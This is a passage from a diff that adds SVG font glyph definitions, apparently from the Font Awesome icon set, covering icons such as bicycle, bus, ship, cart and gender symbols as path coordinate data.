57.2598 128 128c0 70.751 -57.2588 128 -128 128h-48.9053c65.2363 -72.8799 65.2168 -183.142 0 -256h48.9053z" /> + <glyph glyph-name="toggle-on" unicode="" horiz-adv-x="576" +d="M384 384c106 0 192 -86 192 -192s-86 -192 -192 -192h-192c-106 0 -192 86 -192 192s86 192 192 192h192zM384 64c70.7002 0 128 57.2002 128 128c0 70.7002 -57.2002 128 -128 128c-70.7002 0 -128 -57.2002 -128 -128c0 -70.7002 57.2002 -128 128 -128z" /> + <glyph glyph-name="bicycle" unicode="" horiz-adv-x="640" +d="M512.509 255.999c70.9502 -0.276367 128.562 -59.0547 127.477 -129.996c-1.07422 -70.1934 -58.6494 -126.681 -129.255 -125.996c-68.8301 0.667969 -126.584 58.8857 -126.729 127.719c-0.078125 37.3564 15.8516 70.9893 41.3066 94.4375l-14.9375 24.0674 +l-85.9619 -138.863c-4.23145 -6.83496 -11.7832 -11.3672 -20.4062 -11.3672h-52.0332c-14.209 -55.207 -64.3252 -96 -123.967 -96c-70.9473 0 -128.415 57.7207 -128 128.764c0.410156 70.2246 58.0918 127.406 128.317 127.236 +c15.0879 -0.0371094 29.5586 -2.69043 42.9912 -7.51953l29.417 47.5195h-48.7256c-13.1191 0 -23.7627 10.5186 -23.9951 23.5635c-0.241211 13.4375 11.0947 24.4365 24.5361 24.4365h87.459c8.83691 0 16 -7.16309 16 -16v-16h113.544l-14.8955 24h-50.6494 +c-8.83691 0 -16 7.16309 -16 16v16c0 8.83691 7.16309 16 16 16h64c8.6123 0 16.1572 -4.52148 20.3916 -11.3428l77.6807 -125.153c14.4053 5.54004 30.0625 8.55957 46.4355 8.49512zM186.75 182.228l-23.6641 -38.2275h43.3057 +c-2.96875 14.5674 -9.91504 27.6992 -19.6416 38.2275zM128.002 48c32.7383 0 60.9297 19.7754 73.2998 48h-81.2998c-18.7891 0 -30.2871 20.6729 -20.4062 36.6318l45.5049 73.5088c-5.5127 1.20605 -11.2295 1.85938 -17.0986 1.85938c-44.1123 0 -80 -35.8877 -80 -80 +s35.8877 -80 80 -80zM290.632 144l74.2861 120h-127.547l-24.7461 -39.9736c22.8271 -20.1328 38.4229 -48.2705 42.3828 -80.0264h35.624zM507.689 48.1143c46.0605 -2.43164 84.3115 34.3447 84.3125 79.8848c0 44.1123 -35.8877 80 -80 80 +c-0.0136719 0 0.00585938 -0.0078125 -0.00683594 -0.0078125c-6.85156 0 -13.5029 -0.864258 -19.8516 -2.48926l44.4688 -71.6426c4.66113 -7.50879 2.35156 -17.3721 -5.15625 -22.0322l-13.5938 -8.4375c-7.50879 -4.65918 -17.3721 -2.35156 -22.0322 5.15625 +l-44.4326 71.5859c-12.7021 -14.7451 -20.1475 -34.1416 -19.3359 -55.2627c1.57812 -41.0635 34.5918 -74.5898 75.6279 -76.7549z" /> + <glyph glyph-name="bus" unicode="" +d="M488 320c13.25 0 24 -10.7402 24 -24v-80c0 -13.25 -10.75 -24 -24 -24h-8v-166.4c0 -12.7998 -9.59961 -25.5996 -25.5996 -25.5996h-6.40039v-32c0 -17.6699 -14.3301 -32 -32 -32h-32c-17.6699 0 -32 14.3301 -32 32v32h-192v-32c0 -17.6699 -14.3301 -32 -32 -32h-32 +c-17.6699 0 -32 14.3301 -32 32v32c-17.6699 0 -32 14.3301 -32 32v160h-8c-13.25 0 -24 10.75 -24 24v80c0 13.2598 10.75 24 24 24h8v48c0 44.7998 99.2002 80 224 80s224 -35.2002 224 -80v-48h8zM112 48c17.6699 0 32 14.3301 32 32s-14.3301 32 -32 32 +s-32 -14.3301 -32 -32s14.3301 -32 32 -32zM128 160h256c17.6699 0 32 14.3301 32 32v128c0 17.6699 -14.3301 32 -32 32h-256c-17.6699 0 -32 -14.3301 -32 -32v-128c0 -17.6699 14.3301 -32 32 -32zM400 48c17.6699 0 32 14.3301 32 32s-14.3301 32 -32 32 +s-32 -14.3301 -32 -32s14.3301 -32 32 -32z" /> + <glyph glyph-name="closed-captioning" unicode="" +d="M464 384c26.5 0 48 -21.5 48 -48v-288c0 -26.5 -21.5 -48 -48 -48h-416c-26.5 0 -48 21.5 -48 48v288c0 26.5 21.5 48 48 48h416zM218.1 160.3c-41.1992 -37.8994 -92.1992 -15.3994 -92.2998 32.6006c0 46.0996 53.7998 63.1992 94.6006 31.1992 +c2.89941 -2.2998 7.19922 -1.39941 9.09961 1.7002l17.5 30.5c1.5 2.5 1.09961 3.7002 -1 5.7002c-50.7998 49.4004 -172.5 27.2002 -172.5 -70.0996c0 -100 119.2 -124.7 172.8 -67.9004c2 2.09961 2.2002 5.2998 0.5 7.7002l-19.5 27.7002 +c-2.09961 3 -6.39941 3.39941 -9.2002 0.899414zM408.5 160.3c-41.2002 -37.8994 -92.2002 -15.3994 -92.2002 32.6006c0 46.0996 53.7998 63.1992 94.6006 31.1992c2.89941 -2.2998 7.19922 -1.39941 9.09961 1.7002l17.5 30.5c1.5 2.5 1.09961 3.7002 -1 5.7002 +c-50.7998 49.4004 -172.5 27.2002 -172.5 -70.0996c0 -100 119.2 -124.801 172.7 -67.9004c2 2.09961 2.2002 5.2998 0.5 7.7002l-19.5 27.7002c-2.10059 3 -6.40039 3.39941 -9.2002 0.899414z" /> + <glyph glyph-name="shekel-sign" unicode="" horiz-adv-x="448" +d="M248 280c0 30.9297 -25.0703 56 -56 56h-112v-352c0 -8.83984 -7.16016 -16 -16 -16h-48c-8.83984 0 -16 7.16016 -16 16v408c0 13.2598 10.75 24 24 24h168c75.1104 0 136 -60.8896 136 -136v-168c0 -8.83984 -7.16016 -16 -16 -16h-48c-8.83984 0 -16 7.16016 -16 16 +v168zM432 416c8.83984 0 16 -7.16016 16 -16v-296c0 -75.1104 -60.8896 -136 -136 -136h-168c-13.25 0 -24 10.75 -24 24v280c0 8.83984 7.16016 16 16 16h48c8.83984 0 16 -7.16016 16 -16v-224h112c30.9297 0 56 25.0703 56 56v296c0 8.83984 7.16016 16 16 16h48z" /> + <glyph glyph-name="cart-plus" unicode="" horiz-adv-x="576" +d="M504.717 128h-293.145l6.54492 -32h268.418c15.4004 0 26.8154 -14.3008 23.4033 -29.3193l-5.51758 -24.2754c18.6914 -9.07324 31.5791 -28.2334 31.5791 -50.4053c0 -31.2021 -25.5186 -56.4443 -56.8242 -55.9941 +c-29.8232 0.428711 -54.3496 24.6309 -55.1543 54.4473c-0.44043 16.2871 6.08496 31.0488 16.8027 41.5479h-209.648c10.377 -10.166 16.8242 -24.3271 16.8242 -40.001c0 -31.8135 -26.5283 -57.4307 -58.6699 -55.9385c-28.54 1.3252 -51.751 24.3857 -53.251 52.917 +c-1.1582 22.0342 10.4355 41.4551 28.0508 51.5869l-70.2471 343.435h-69.8828c-13.2549 0 -24 10.7451 -24 24v16c0 13.2549 10.7451 24 24 24h102.529c11.4004 0 21.2275 -8.02148 23.5127 -19.1904l9.16602 -44.8096h392.782 +c15.4004 0 26.8154 -14.3008 23.4023 -29.3193l-47.2725 -208c-2.4834 -10.9268 -12.1973 -18.6807 -23.4033 -18.6807zM408 280h-48v40c0 8.83691 -7.16309 16 -16 16h-16c-8.83691 0 -16 -7.16309 -16 -16v-40h-48c-8.83691 0 -16 -7.16309 -16 -16v-16 +c0 -8.83691 7.16309 -16 16 -16h48v-40c0 -8.83691 7.16309 -16 16 -16h16c8.83691 0 16 7.16309 16 16v40h48c8.83691 0 16 7.16309 16 16v16c0 8.83691 -7.16309 16 -16 16z" /> + <glyph glyph-name="cart-arrow-down" unicode="" horiz-adv-x="576" +d="M504.717 128h-293.145l6.54492 -32h268.418c15.4004 0 26.8154 -14.3008 23.4033 -29.3193l-5.51758 -24.2754c18.6914 -9.07324 31.5791 -28.2334 31.5791 -50.4053c0 -31.2021 -25.5186 -56.4443 -56.8242 -55.9941 +c-29.8232 0.428711 -54.3496 24.6309 -55.1543 54.4473c-0.44043 16.2871 6.08496 31.0488 16.8027 41.5479h-209.648c10.377 -10.166 16.8242 -24.3271 16.8242 -40.001c0 -31.8135 -26.5283 -57.4307 -58.6699 -55.9385c-28.54 1.3252 -51.751 24.3857 -53.251 52.917 +c-1.1582 22.0342 10.4355 41.4551 28.0508 51.5869l-70.2471 343.435h-69.8828c-13.2549 0 -24 10.7451 -24 24v16c0 13.2549 10.7451 24 24 24h102.529c11.4004 0 21.2275 -8.02148 23.5127 -19.1904l9.16602 -44.8096h392.782 +c15.4004 0 26.8154 -14.3008 23.4023 -29.3193l-47.2725 -208c-2.4834 -10.9268 -12.1973 -18.6807 -23.4033 -18.6807zM403.029 256h-43.0293v60c0 6.62695 -5.37305 12 -12 12h-24c-6.62695 0 -12 -5.37305 -12 -12v-60h-43.0293 +c-10.6904 0 -16.0449 -12.9258 -8.48438 -20.4854l67.0283 -67.0283c4.68652 -4.68652 12.2842 -4.68652 16.9717 0l67.0283 67.0283c7.55957 7.55957 2.20508 20.4854 -8.48535 20.4854z" /> + <glyph glyph-name="ship" unicode="" horiz-adv-x="640" +d="M496.616 75.3613c17.8418 -44.3604 58.5664 -75.3613 119.384 -75.3613c13.2549 0 24 -10.7451 24 -24v-16c0 -13.2549 -10.7451 -24 -24 -24c-61.0322 0 -107.505 20.6162 -143.258 59.3965c-14.4189 -34.8281 -48.7637 -59.3965 -88.7422 -59.3965h-128 +c-39.9785 0 -74.3232 24.5684 -88.7422 59.3965c-35.7588 -38.7861 -82.2344 -59.3965 -143.258 -59.3965c-13.2549 0 -24 10.7451 -24 24v16c0 13.2549 10.7451 24 24 24c61.5869 0 101.828 31.7129 119.384 75.3613l-70.0117 70.0117 +c-16.918 16.9189 -9.91699 45.7793 12.8359 53.0918l41.792 13.4336v140.102c0 17.6729 14.3271 32 32 32h64v40c0 13.2549 10.7451 24 24 24h144c13.2549 0 24 -10.7451 24 -24v-40h64c17.6729 0 32 -14.3271 32 -32v-140.102l41.792 -13.4336 +c22.7783 -7.32129 29.7354 -36.1914 12.8359 -53.0918zM192 320v-87.5312l118.208 37.9951c3.08594 0.992188 6.38086 1.52832 9.79492 1.52832c3.41309 0 6.70312 -0.536133 9.78906 -1.52832l118.208 -37.9951v87.5312h-256z" /> + <glyph glyph-name="user-secret" unicode="" horiz-adv-x="448" +d="M383.9 139.7c38.2998 -23.7002 64.0996 -65.7002 64.0996 -114.101v-44.7998c0 -24.7002 -20.0996 -44.7998 -44.7998 -44.7998h-358.4c-24.7002 0 -44.7998 20.0996 -44.7998 44.7998v44.7998c0 49.7002 27.2998 92.6006 67.4004 115.9l-25.8008 60.2002 +c-4.5 10.5996 3.2002 22.2998 14.7002 22.2998h57.5c-11 18.9004 -17.7998 40.5996 -17.7998 64v0.299805c-39.2002 7.7998 -64 19.1006 -64 31.7002c0 13.2998 27.2998 25.0996 70 33c9.2002 32.7998 27.0996 65.7998 40.5996 82.7998 +c9.5 11.9004 25.9004 15.6006 39.5 8.7998l27.6006 -13.7998c9 -4.5 19.5996 -4.5 28.5996 0l27.6006 13.7998c13.5996 6.80078 30 3.10059 39.5 -8.7998c13.5996 -17 31.3994 -50 40.5996 -82.7998c42.7998 -7.90039 70.0996 -19.7002 70.0996 -33 +c0 -12.5996 -24.7998 -23.9004 -64 -31.7002v-0.299805c0 -23.4004 -6.7998 -45.0996 -17.7998 -64h58.5c11.2998 0 19 -11.2002 15 -21.7002zM176 -32l32 120l-24 40l-49.5996 32zM272 -32l41.5996 192l-49.5996 -32l-24 -40zM313.7 266.5 +c0.799805 2.59961 6.2998 5.7002 6.39941 5.7998v10.7998c-28.2998 -3.69922 -61 -5.7998 -96 -5.7998s-67.6992 2.2002 -96 5.7998v-10.7998c0 -0.0996094 5.5 -3.2998 6.30078 -5.7998c3.7998 -11.9004 7 -24.5996 16.5 -33.4004c8 -7.39941 47 -25.1992 64 25 +c2.89941 8.40039 15.5 8.40039 18.2998 0c16 -47.3994 53.8994 -34.2998 64 -25c9.5 8.80078 12.5996 21.5 16.5 33.4004z" /> + <glyph glyph-name="motorcycle" unicode="" horiz-adv-x="640" +d="M512.9 256c69.5996 -0.5 126.5 -57.2998 127.199 -126.9c0.600586 -71.5996 -57.5996 -129.8 -129.199 -129.1c-69.6006 0.599609 -126.301 57.5 -126.801 127.1c-0.299805 39.3008 17.2002 74.5 44.8008 98.2002l-12.5 20.7998 +c-38.7002 -31.2998 -58.3008 -77.8994 -56.2002 -125c0.599609 -13.6992 -10.2998 -25.0996 -24 -25.0996h-84.2002c-14.2998 -55.2002 -64.4004 -96 -124 -96c-71.7002 0 -129.6 58.9004 -128 131c1.59961 67.4004 55.9004 122.5 123.2 124.9 +c14.3994 0.5 28.2998 -1.30078 41.2998 -5.2002l11.2998 20.5c-9.09961 13.8994 -23.2998 24.7998 -47.7998 24.7998h-56c-13.0996 0 -23.7998 10.5 -24 23.5c-0.299805 13.5 11 24.5 24.5 24.5h55.5c55 0 82.2002 -16.9004 99.9004 -40h153.699l-19.1992 32h-66.4004 +c-8.7998 0 -16 7.2002 -16 16v16c0 8.7998 7.2002 16 16 16h80c8.40039 0 16.2002 -4.40039 20.5996 -11.5996l22.8008 -38l37.5 41.6992c4.5 5 11 7.90039 17.7998 7.90039h45.2998c13.2998 0 24 -10.7002 24 -24v-32c0 -13.2998 -10.7002 -24 -24 -24h-82.4004 +l32.9004 -54.9004c13.2998 4.60059 27.5 7 42.4004 6.90039zM128 48c32.7002 0 60.9004 19.7998 73.2998 48h-81.2998c-18.2002 0 -29.7998 19.5996 -21 35.5996l41.5 75.4004c-4.09961 0.700195 -8.2998 1 -12.5 1c-44.0996 0 -80 -35.9004 -80 -80s35.9004 -80 80 -80z +M591.9 123.6c2.39941 46.1006 -34.3008 84.4004 -79.9004 84.3008c-5.40039 0 -10.7002 -0.5 -15.9004 -1.60059l48.6006 -80.8994c4.5 -7.60059 2.09961 -17.5 -5.5 -22l-13.7002 -8.2002c-7.59961 -4.5 -17.5 -2.10059 -22 5.5l-49.4004 82.3994 +c-13.6992 -14.2998 -22.0996 -33.6992 -22.0996 -55.0996c0 -45.5996 38.2998 -82.4004 84.4004 -79.9004c40.5 2.10059 73.2998 34.9004 75.5 75.5z" /> + <glyph glyph-name="street-view" unicode="" +d="M367.9 118.24c85.2295 -15.5801 144.1 -48.29 144.1 -86.2402c0 -53.0195 -114.62 -96 -256 -96s-256 42.9805 -256 96c0 37.9502 58.8701 70.6602 144.1 86.2402c4.62012 -5.2998 9.78027 -10.1006 15.9004 -13.6504v-22.9395 +c-66.5195 -9.35059 -112 -28.0508 -112 -49.6504c0 -30.9297 93.1201 -56 208 -56s208 25.0703 208 56c0 21.5996 -45.4805 40.3096 -112 49.6504v22.9395c6.12012 3.5498 11.2803 8.35059 15.9004 13.6504zM256 320c-35.3496 0 -64 28.6504 -64 64s28.6504 64 64 64 +s64 -28.6504 64 -64s-28.6504 -64 -64 -64zM192 128c-17.6699 0 -32 14.3301 -32 32v96c0 26.5098 21.4902 48 48 48h11.7998c11.0703 -5.03027 23.2598 -8 36.2002 -8s25.1299 2.96973 36.2002 8h11.7998c26.5098 0 48 -21.4902 48 -48v-96 +c0 -17.6699 -14.3301 -32 -32 -32v-96c0 -17.6699 -14.3301 -32 -32 -32h-64c-17.6699 0 -32 14.3301 -32 32v96z" /> + <glyph glyph-name="heartbeat" unicode="" +d="M320.2 204.2l22.0996 -44.2002h109.101l-182.601 -186.5c-7.09961 -7.2998 -18.5996 -7.2998 -25.7002 0l-182.5 186.5h94.1006l30 71.7002l56.8994 -126.3c5.5 -12.3008 22.9004 -12.7002 28.9004 -0.600586zM473.7 374.1 +c48.7002 -49.7998 50.7998 -129.1 7.2998 -182.1h-118.9l-27.5996 55.2002c-5.90039 11.7998 -22.7002 11.7998 -28.5996 0l-49 -97.9004l-58.2002 129.3c-5.7998 12.8008 -24 12.5 -29.4004 -0.399414l-35.8994 -86.2002h-102.4c-43.5 53 -41.4004 132.3 7.2998 182.1 +l2.40039 2.40039c51.5 52.7002 135.899 52.7002 187.399 0l27.9004 -28.5l27.9004 28.5996c51.5996 52.6006 135.899 52.6006 187.399 0z" /> + <glyph glyph-name="venus" unicode="" horiz-adv-x="288" +d="M288 272c0 -68.5 -47.9004 -125.9 -112 -140.4v-51.5996h36c6.59961 0 12 -5.40039 12 -12v-40c0 -6.59961 -5.40039 -12 -12 -12h-36v-36c0 -6.59961 -5.40039 -12 -12 -12h-40c-6.59961 0 -12 5.40039 -12 12v36h-36c-6.59961 0 -12 5.40039 -12 12v40 +c0 6.59961 5.40039 12 12 12h36v51.5996c-64.0996 14.5 -112 71.9004 -112 140.4c0 79.5 64.5 144 144 144s144 -64.5 144 -144zM64 272c0 -44.0996 35.9004 -80 80 -80s80 35.9004 80 80s-35.9004 80 -80 80s-80 -35.9004 -80 -80z" /> + <glyph glyph-name="mars" unicode="" horiz-adv-x="384" +d="M372 384c6.59961 0 12 -5.40039 12 -12v-79c0 -10.7002 -12.9004 -16.0996 -20.5 -8.5l-16.9004 16.9004l-80.6992 -80.7002c14 -22.2002 22.0996 -48.5 22.0996 -76.7002c0 -79.5 -64.5 -144 -144 -144s-144 64.5 -144 144s64.5 144 144 144 +c28.2002 0 54.5 -8.09961 76.7002 -22.0996l80.7002 80.6992l-16.9004 16.9004c-7.5 7.59961 -2.2002 20.5 8.5 20.5h79zM144 64c44.0996 0 80 35.9004 80 80s-35.9004 80 -80 80s-80 -35.9004 -80 -80s35.9004 -80 80 -80z" /> + <glyph glyph-name="mercury" unicode="" horiz-adv-x="288" +d="M288 240c0 -68.5 -47.9004 -125.9 -112 -140.4v-51.5996h36c6.59961 0 12 -5.40039 12 -12v-40c0 -6.59961 -5.40039 -12 -12 -12h-36v-36c0 -6.59961 -5.40039 -12 -12 -12h-40c-6.59961 0 -12 5.40039 -12 12v36h-36c-6.59961 0 -12 5.40039 -12 12v40 +c0 6.59961 5.40039 12 12 12h36v51.5996c-64.0996 14.5 -112 71.9004 -112 140.4c0 44.2002 19.9004 83.7002 51.2002 110c-2.5 1.90039 -4.90039 3.7998 -7.2002 5.7998c-24.7998 21.2002 -39.7998 48.7998 -43.2002 78.9004 +c-0.899414 7.09961 4.7002 13.2998 11.9004 13.2998h40.5c5.7002 0 10.5996 -4.09961 11.7002 -9.7998c2.5 -12.5 9.59961 -24.2998 20.6992 -33.7998c15.4004 -13.2002 36.1006 -20.4004 58.4004 -20.4004s43 7.2002 58.2998 20.4004 +c11.1006 9.5 18.2998 21.2998 20.7002 33.7998c1.09961 5.7002 6 9.7998 11.7998 9.7998h40.5c7.2002 0 12.7998 -6.2002 11.9004 -13.2998c-3.40039 -30 -18.5 -57.6006 -43.2002 -78.7998c-2.2998 -2 -4.7002 -4 -7.2002 -5.80078 +c31.2998 -26.3994 51.2002 -65.8994 51.2002 -110.1zM64 240c0 -44.0996 35.9004 -80 80 -80s80 35.9004 80 80s-35.9004 80 -80 80s-80 -35.9004 -80 -80z" /> + <glyph glyph-name="transgender" unicode="" horiz-adv-x="384" +d="M372 448c6.59961 0 12 -5.40039 12 -12v-79c0 -10.7002 -12.9004 -16.0996 -20.5 -8.5l-16.9004 16.9004l-80.6992 -80.7002c14 -22.2002 22.0996 -48.5 22.0996 -76.7002c0 -68.5 -47.9004 -125.8 -112 -140.4v-27.5996h36c6.59961 0 12 -5.40039 12 -12v-40 +c0 -6.59961 -5.40039 -12 -12 -12h-36v-28c0 -6.59961 -5.40039 -12 -12 -12h-40c-6.59961 0 -12 5.40039 -12 12v28h-36c-6.59961 0 -12 5.40039 -12 12v40c0 6.59961 5.40039 12 12 12h36v27.5996c-64.0996 14.5 -112 71.9004 -112 140.4c0 79.5 64.5 144 144 144 +c28.2002 0 54.5 -8.09961 76.7002 -22.0996l80.7002 80.6992l-16.9004 16.9004c-7.5 7.59961 -2.2002 20.5 8.5 20.5h79zM144 128c44.0996 0 80 35.9004 80 80s-35.9004 80 -80 80s-80 -35.9004 -80 -80s35.9004 -80 80 -80z" /> + <glyph glyph-name="transgender-alt" unicode="" horiz-adv-x="480" +d="M468 448c6.59961 0 12 -5.40039 12 -12v-79c0 -10.7002 -12.9004 -16.0996 -20.5 -8.5l-16.9004 16.9004l-80.6992 -80.7002c14 -22.2002 22.0996 -48.5 22.0996 -76.7002c0 -68.5 -47.9004 -125.8 -112 -140.4v-27.5996h36c6.59961 0 12 -5.40039 12 -12v-40 +c0 -6.59961 -5.40039 -12 -12 -12h-36v-28c0 -6.59961 -5.40039 -12 -12 -12h-40c-6.59961 0 -12 5.40039 -12 12v28h-36c-6.59961 0 -12 5.40039 -12 12v40c0 6.59961 5.40039 12 12 12h36v27.5996c-64.0996 14.5 -112 71.9004 -112 140.4 +c0 28.2002 8.09961 54.5 22.2002 76.5996l-16.5 16.5l-19.7998 -19.7998c-4.7002 -4.7002 -12.3008 -4.7002 -17 0l-28.3008 28.2998c-4.69922 4.7002 -4.69922 12.3008 0 17l19.8008 19.8008l-19 19l-16.9004 -16.9004c-7.59961 -7.5 -20.5 -2.2002 -20.5 8.5v79 +c0 6.59961 5.40039 12 12 12h79c10.7002 0 16.0996 -12.9004 8.40039 -20.4004l-16.9004 -16.8994l19 -19l19.7998 19.7998c4.7002 4.7002 12.2998 4.7002 17 0l28.2998 -28.2998c4.7002 -4.7002 4.7002 -12.2998 0 -17l-19.7998 -19.7998l16.5 -16.5 +c22.2002 14 48.5 22.0996 76.7002 22.0996s54.5 -8.09961 76.7002 -22.0996l80.7002 80.6992l-16.9004 16.9004c-7.5 7.59961 -2.2002 20.5 8.5 20.5h79zM240 128c44.0996 0 80 35.9004 80 80s-35.9004 80 -80 80s-80 -35.9004 -80 -80s35.9004 -80 80 -80z" /> + <glyph glyph-name="venus-double" unicode="" +d="M288 272c0 -68.5 -47.9004 -125.9 -112 -140.4v-51.5996h36c6.59961 0 12 -5.40039 12 -12v-40c0 -6.59961 -5.40039 -12 -12 -12h-36v-36c0 -6.59961 -5.40039 -12 -12 -12h-40c-6.59961 0 -12 5.40039 -12 12v36h-36c-6.59961 0 -12 5.40039 -12 12v40 +c0 6.59961 5.40039 12 12 12h36v51.5996c-64.0996 14.5 -112 71.9004 -112 140.4c0 79.5 64.5 144 144 144s144 -64.5 144 -144zM64 272c0 -44.0996 35.9004 -80 80 -80s80 35.9004 80 80s-35.9004 80 -80 80s-80 -35.9004 -80 -80zM400 131.6v-51.5996h36 +c6.59961 0 12 -5.40039 12 -12v-40c0 -6.59961 -5.40039 -12 -12 -12h-36v-36c0 -6.59961 -5.40039 -12 -12 -12h-40c-6.59961 0 -12 5.40039 -12 12v36h-36c-6.59961 0 -12 5.40039 -12 12v40c0 6.59961 5.40039 12 12 12h36v51.5996 +c-21.2002 4.80078 -40.5996 14.3008 -57.2002 27.3008c14 16.6992 25 36 32.1006 57.0996c14.5 -14.7998 34.6992 -24 57.0996 -24c44.0996 0 80 35.9004 80 80s-35.9004 80 -80 80c-22.2998 0 -42.5996 -9.2002 -57.0996 -24 +c-7.10059 21.0996 -18 40.4004 -32.1006 57.0996c24.6006 19.3008 55.5 30.9004 89.2002 30.9004c79.5 0 144 -64.5 144 -144c0 -68.5 -47.9004 -125.9 -112 -140.4z" /> + <glyph glyph-name="mars-double" unicode="" +d="M340 448c6.59961 0 12 -5.40039 12 -12v-79c0 -7.2002 -5.90039 -12 -12.0996 -12c-2.90039 0 -6 1.09961 -8.40039 3.5l-16.9004 16.9004l-48.6992 -48.7002c14 -22.2002 22.0996 -48.5 22.0996 -76.7002c0 -79.5 -64.5 -144 -144 -144s-144 64.5 -144 144 +s64.5 144 144 144c28.2002 0 54.5 -8.09961 76.7002 -22.0996l48.7002 48.6992l-16.9004 16.9004c-7.5 7.59961 -2.2002 20.5 8.5 20.5h79zM144 160c44.0996 0 80 35.9004 80 80s-35.9004 80 -80 80s-80 -35.9004 -80 -80s35.9004 -80 80 -80zM500 288.1 +c6.59961 0 12 -5.39941 12 -12.0996v-79c0 -7.2002 -5.90039 -12 -12.0996 -12c-3 0 -6 1.09961 -8.40039 3.5l-16.9004 16.9004l-48.6992 -48.7002c14 -22.2002 22.0996 -48.5 22.0996 -76.7002c0 -79.5 -64.5 -144 -144 -144c-74.4004 0 -135.6 56.4004 -143.2 128.9 +c21.7998 2 43.2998 8.19922 63.2998 18.3994c-0.0996094 -1 -0.0996094 -2.09961 -0.0996094 -3.2002c0 -44.0996 35.9004 -80 80 -80s80 35.9004 80 80c0 44.1006 -35.9004 80 -80 80c-1 0 -2.09961 -0.0996094 -3.2002 -0.0996094 +c10.2002 20 16.2998 41.5 18.4004 63.2998c22.5 -2.39941 43.2998 -9.89941 61.5 -21.2998l48.7002 48.7002l-16.9004 16.8994c-7.5 7.60059 -2.2002 20.5 8.5 20.5h79z" /> + <glyph glyph-name="venus-mars" unicode="" horiz-adv-x="576" +d="M564 448c6.59961 0 12 -5.40039 12 -12v-79c0 -7.2002 -5.90039 -12 -12.0996 -12c-3 0 -6 1.09961 -8.40039 3.5l-16.9004 16.9004l-48.6992 -48.7002c14 -22.2002 22.0996 -48.5 22.0996 -76.7002c0 -79.5 -64.5 -144 -144 -144 +c-33.7002 0 -64.7002 11.5 -89.2002 30.9004c14.1006 16.6992 25 36 32.1006 57.0996c14.5 -14.7998 34.7998 -24 57.0996 -24c44.0996 0 80 35.9004 80 80s-35.9004 80 -80 80c-22.4004 0 -42.5996 -9.2002 -57.0996 -24 +c-7.10059 21.0996 -18.1006 40.4004 -32.1006 57.0996c24.6006 19.3008 55.5 30.9004 89.2002 30.9004c28.2002 0 54.5 -8.09961 76.7002 -22.0996l48.7002 48.6992l-16.9004 16.9004c-7.5 7.59961 -2.2002 20.5 8.5 20.5h79zM144 384c79.5 0 144 -64.5 144 -144 +c0 -68.5 -47.9004 -125.8 -112 -140.4v-51.5996h36c6.59961 0 12 -5.40039 12 -12v-40c0 -6.59961 -5.40039 -12 -12 -12h-36v-36c0 -6.59961 -5.40039 -12 -12 -12h-40c-6.59961 0 -12 5.40039 -12 12v36h-36c-6.59961 0 -12 5.40039 -12 12v40c0 6.59961 5.40039 12 12 12 +h36v51.5996c-64.0996 14.5 -112 71.9004 -112 140.4c0 79.5 64.5 144 144 144zM144 160c44.0996 0 80 35.9004 80 80s-35.9004 80 -80 80s-80 -35.9004 -80 -80s35.9004 -80 80 -80z" /> + <glyph glyph-name="mars-stroke" unicode="" horiz-adv-x="384" +d="M372 384c6.59961 0 12 -5.40039 12.0996 -12v-78.9004c0 -10.6992 -12.8994 -16.0996 -20.5 -8.5l-16.8994 16.9004l-17.5 -17.5l14.0996 -14.0996c4.7002 -4.7002 4.7002 -12.3008 0 -17l-28.2998 -28.3008c-4.7002 -4.69922 -12.2998 -4.69922 -17 0l-14.0996 14.1006 +l-18 -18c14 -22.2002 22.0996 -48.5 22.0996 -76.7002c0 -79.5 -64.5 -144 -144 -144s-144 64.5 -144 144s64.5 144 143.9 144c28.1992 0 54.5 -8.09961 76.6992 -22.0996l18 18l-14.0996 14.0996c-4.7002 4.7002 -4.7002 12.2998 0 17l28.2998 28.2002 +c4.7002 4.7002 12.2998 4.7002 17 0l14.1006 -14.1006l17.5 17.5l-16.9004 16.9004c-7.5 7.59961 -2.2002 20.5 8.5 20.5h79zM144 64c44.0996 0 80 35.9004 80 80s-35.9004 80 -80 80s-80 -35.9004 -80 -80s35.9004 -80 80 -80z" /> + <glyph glyph-name="mars-stroke-v" unicode="" horiz-adv-x="288" +d="M245.8 213.8c56.2998 -56.2002 56.2998 -147.399 0 -203.6c-56.2002 -56.2002 -147.399 -56.2002 -203.6 0s-56.2002 147.399 0 203.6c19.8994 19.9004 44.2002 32.7998 69.7998 38.6006v25.3994h-20c-6.59961 0 -12 5.40039 -12 12v40c0 6.60059 5.40039 12 12 12h20 +v24.7002h-23.9004c-10.6992 0 -16.0996 12.9004 -8.5 20.5l55.9004 55.9004c4.7002 4.69922 12.2998 4.69922 17 0l55.9004 -55.8008c7.5 -7.59961 2.19922 -20.5 -8.5 -20.5h-23.9004v-24.7998h20c6.59961 0 12 -5.39941 12 -12v-40c0 -6.59961 -5.40039 -12 -12 -12h-20 +v-25.3994c25.5996 -5.80078 49.9004 -18.7002 69.7998 -38.6006zM200.6 55.4004c31.2002 31.1992 31.2002 82 0 113.1c-31.1992 31.2002 -81.8994 31.2002 -113.1 0s-31.2002 -81.9004 0 -113.1c31.2002 -31.2002 81.9004 -31.2002 113.1 0z" /> + <glyph glyph-name="mars-stroke-h" unicode="" horiz-adv-x="480" +d="M476.2 200.5c4.7002 -4.7002 4.7002 -12.2998 0.0996094 -17l-55.8994 -55.9004c-7.60059 -7.5 -20.5 -2.19922 -20.5 8.5v23.9004h-23.9004v-20c0 -6.59961 -5.40039 -12 -12 -12h-40c-6.59961 0 -12 5.40039 -12 12v20h-27.5996 +c-5.80078 -25.5996 -18.7002 -49.9004 -38.6006 -69.7998c-56.2002 -56.2002 -147.399 -56.2002 -203.6 0s-56.2002 147.399 0 203.6s147.399 56.2002 203.6 0c19.9004 -19.8994 32.7998 -44.2002 38.6006 -69.7998h27.5996v20c0 6.59961 5.40039 12 12 12h40 +c6.59961 0 12 -5.40039 12 -12v-20h23.7998v23.9004c0 10.6992 12.9004 16.0996 20.5 8.5zM200.6 135.4c31.2002 31.1992 31.2002 82 0 113.1c-31.1992 31.2002 -81.8994 31.2002 -113.1 0s-31.2002 -81.9004 0 -113.1c31.2002 -31.2002 81.9004 -31.2002 113.1 0z" /> + <glyph glyph-name="neuter" unicode="" horiz-adv-x="288" +d="M288 272c0 -68.5 -47.9004 -125.9 -112 -140.4v-151.6c0 -6.59961 -5.40039 -12 -12 -12h-40c-6.59961 0 -12 5.40039 -12 12v151.6c-64.0996 14.5 -112 71.9004 -112 140.4c0 79.5 64.5 144 144 144s144 -64.5 144 -144zM144 192c44.0996 0 80 35.9004 80 80 +s-35.9004 80 